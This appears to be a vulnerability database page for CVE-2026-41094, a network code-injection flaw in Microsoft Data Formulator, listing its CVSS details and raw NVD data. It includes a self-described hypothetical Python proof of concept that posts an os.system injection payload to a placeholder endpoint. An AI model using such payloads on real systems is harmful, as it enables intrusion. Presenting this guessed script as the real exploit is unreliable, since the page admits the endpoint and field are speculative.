Security Vulnerability Report
中文
CVE-2026-41094 CVSS 8.8 HIGH

CVE-2026-41094

Published: 2026-05-12 18:17:21
Last Modified: 2026-05-13 15:34:53

Description

Improper control of generation of code ('code injection') in Microsoft Data Formulator allows an unauthorized attacker to execute code over a network.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Microsoft Data Formulator (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a hypothetical PoC for CVE-2026-41094 # Due to the nature of Code Injection, the payload depends on the backend language (likely Python in Data Formulator) import requests target_url = "http://target-host:port/vulnerable-endpoint" # Malicious payload designed to inject code execution # Example: Attempting to execute a calc command or reverse shell payload = { "data_input": "__import__('os').system('calc.exe')" # Or potentially a serialized object that triggers code gen } try: response = requests.post(target_url, json=payload) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41094", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:20.890", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper control of generation of code ('code injection') in Microsoft Data Formulator allows an unauthorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41094", "source": "[email protected]"}]}}